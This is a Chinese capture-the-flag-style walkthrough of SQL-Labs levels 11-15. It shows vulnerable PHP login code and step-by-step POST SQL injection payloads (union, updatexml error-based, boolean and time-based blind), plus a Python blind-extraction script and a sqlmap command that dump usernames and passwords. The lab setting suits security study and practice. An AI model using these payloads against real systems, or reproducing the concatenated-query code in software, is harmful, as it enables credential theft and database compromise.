SQL-Labs靶场“11-15”关通关教程

这篇具有很好参考价值的文章主要介绍了SQL-Labs靶场“11-15”关通关教程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

点击跳转:
SQL-Labs靶场“1-5”关通关教程
SQL-Labs靶场“6-10”关通关教程

一、十一关 基于POST单引号字符型注入

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=‘x’

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。

1、源码分析

# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	···
	# 使用单引号进行拼接SQL
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  		···
		//echo " You Have successfully logged in\n\n " ;
		···
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];
		···
		echo '<img src="../images/flag.jpg"  />';	
  	}
	else  
	{
		···
		//echo "Try again looser";
		# 输出报错信息
		print_r(mysqli_error($con1));
		···
		echo '<img src="../images/slap.jpg" />';	
		···
	}
}

我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa' order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa' order by 2#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据:

aaaa' union select group_concat(username,password),2 from users#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa' union select group_concat(username,password),2 from users#

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
数据库的表名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
然后看users可疑查users的列名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
接着看见username以及password继续查数据:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
接着我们变值就结束了:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

二、十二关 基于POST双引号字符型注入

请求方式 注入类型 拼接方式
POST 联合、报错、布尔盲注、延时盲注 username=(“x”)

这里注入点判断的方法和第十一关是一样的。

1、源码分析

···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa") order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa") order by 2#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据(下面只展示username就行,password不填了,懒得填反正都注释掉了):

aaaa") union select group_concat(username,password),2 from users#

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa") union select group_concat(username,password),2 from users#

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

数据库的表名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

然后看users可疑查users的列名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着看见username以及password继续查数据:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着我们变值就结束了:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

三、十三关 基于POST单引号报错注入变形

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username=(‘x’)

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
所以这里联合查询是无法使用。

1、源码分析

···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
 	···
	//echo " You Have successfully logged in " ;
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	//echo "<br>";
	···
	echo '<img src="../images/flag.jpg"   />';	
 	}
else  
{
	···
	//echo "Try again looser";
	print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
}

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

数据库的表名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

然后看users可疑查users的列名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着看见username以及password继续查数据:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着我们变值就结束了:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

四、十四关 基于POST双引号报错注入

请求方式 注入类型 拼接方式
POST 报错、布尔盲注、延时盲注 username=“x”

这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。

1、源码分析

···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

数据库的表名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

然后看users可疑查users的列名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着看见username以及password继续查数据:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

接着我们变值就结束了:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

五、十五关 基于POST单引号布尔型时间盲注

请求方式 注入类型 拼接方式
POST 布尔盲注、延时盲注 username=‘x’

当然,首先我们查找注入点:
设置username=aaaa’:
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们发现并没有产生报错,接着我们逃逸让其登录成功:
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。

1、源码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

if($row)
{
 	···
	//echo " You Have successfully logged in\n\n " ;
	···
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	···
	echo '<img src="../images/flag.jpg"  />';	
 	}
else  
{
	···
	//echo "Try again looser";
	//print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
	···
}

这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

2、布尔盲注(手动)

下面我们构建payload进行比较数据库名的第一个字符的ascii值:

admin1' and ascii(substr(database(),1,1))>100#

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:

admin1' and ascii(substr(database(),1,1))>120#

SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。

2、布尔盲注(脚本)

相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {
                "uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-15/index.php'
    inject_database(url)

也是我们经常强调的,URL必须填写正确,然后执行:
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
便可完成注入,接着注入数据时,更换payload即可。

3、时间盲注(sqlmap)

下面我们依然是直接加上参数进行注入:

sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

可能会用到以下参数:

  • -r 读取抓包文件
  • -p 需要检测的参数
  • –technique 需要检测的注入方式
  • E 基于报错的注入
  • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • –batch 默认选择
  • –threads 线程数
  • -data 传入post参数(免去抓包)

紧接着我们执行之后:
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试
SQL-Labs靶场“11-15”关通关教程,SQL-Labs,渗透测试,网络安全,sql,数据库,python,java,linux,网络安全,渗透测试

它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。文章来源地址https://www.toymoban.com/news/detail-827686.html

到了这里,关于SQL-Labs靶场“11-15”关通关教程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 搭建sql-labs靶机环境

    先下载phpstudy(小皮面板)软件,方便我们快速搭建环境,该软件程序包集成最新的Apache+PHP+MySQL+ngix,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境.该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等.总之学习PHP只需一个包。 对学习PHP的新手来说,

    2024年02月22日
    浏览(35)
  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(47)
  • 文件上传漏洞之upload-labs靶场实战通关

    目录 pass-01 pass-02 pass-03 pass-04 pass-06 pass-07 pass-08 pass-09 pass-10 pass-11 pass-12 pass-13 pass-14 pass-15 pass-16 pass-17 pass-18 pass-19 pass-20 pass-21   pass-01   pass-02 前端删除完验证函数后通过burp修改 content-type的类型   pass-03 pass-04 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|

    2023年04月08日
    浏览(51)
  • 全面了解文件上传漏洞, 通关upload-labs靶场

    upload-labs是一个专门用于学习文件上传漏洞攻击和防御的靶场。它提供了一系列模拟文件上传漏洞的实验环境,用于帮助用户了解文件上传漏洞的原理和防御技术。 这个靶场包括了常见的文件上传漏洞类型,如文件名欺骗、文件类型欺骗、文件上传功能绕过等。通过练习不同

    2024年02月04日
    浏览(49)
  • Upload-labs 1-21关 靶场通关笔记(含代码审计)

    目录 Pass-01(JS前端验证)  方法一:删除JS验证   方法二:先上传符合要求的图片 再在burp里面修改后缀即可 Pass-02(MIME验证) 前置知识$_FILES Pass-03(php3、phtml绕过黑名单) Pass-04(.htaccess绕过黑名单)  前置知识 .htaccess 思路一  思路二 思路三 ​编辑 Pass-05(.user.ini黑名单

    2023年04月09日
    浏览(46)
  • sql-labs--Less-1--Error based-Single quotes

    sql = \\\"SELECT * FROM users WHERE id = \\\'id\\\' LIMIT 0,1\\\"; 打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。 我们输入带有id的参数: http://127.0.0.1/sqli-labs/Less-1/?id=1 ,如下图,正确回显界面。 我们尝试加入an

    2024年02月10日
    浏览(38)
  • CTF 三大测试靶场搭建:DVWA、SQLi-LABS、upload-labs 靶场部署教程(VM + CentOS 7 + Docker)

    目录 前言 靶场介绍 DVWA SQLi-LABS upload-labs 靶场搭建 CentOS 7 虚拟环境准备 靶场环境部署 系统环境配置 Docker 环境配置 下载 Docker 配置 Docker 镜像源 启动 docker  靶场配置 靶场镜像抓取 创建并运行 docker 容器 靶场的访问  靶场的初始化 DVWA 靶场重置 SQLi-LABS 靶场重置 upload-labs 靶

    2024年01月24日
    浏览(47)
  • uploads靶场通关(1-11关)

    看题目我们准备好我们的php脚本文件,命名为1.php 上传该php文件,发现上传失败 方法一:将浏览器的JavaScript禁用 然后就能上传了  方法二: 查看源码,发现只能上传以下形式的文件 我们将刚才的1.php的后缀改为.jpg 上传该文件并用bp抓包,send to Repeater,将其后缀改回1.php,

    2024年02月08日
    浏览(41)
  • Pikachu靶场—sql注入通关

    创作不易,给个关注吧,有任何问题可以评论或者私聊 关卡详情 根据图上来看,这关有个下拉菜单可以选数字。由于从url看不到什么变化,我们用burpsuite抓包看一下。确定是post请求 因为题目指出是数字型的注入,所以就不用找闭合了,直接使用 order by 探测列数,这里探测

    2024年02月13日
    浏览(46)
  • BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)

    渗透测试(Penetration test)即安全工程师模拟黑客,在合法授权范围内,通过信息搜集、漏洞挖掘、权限提升等行为,对目标对象进行安全测试(或攻击),最终找出安全风险并输出测试报告。 Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况

    2024年02月13日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包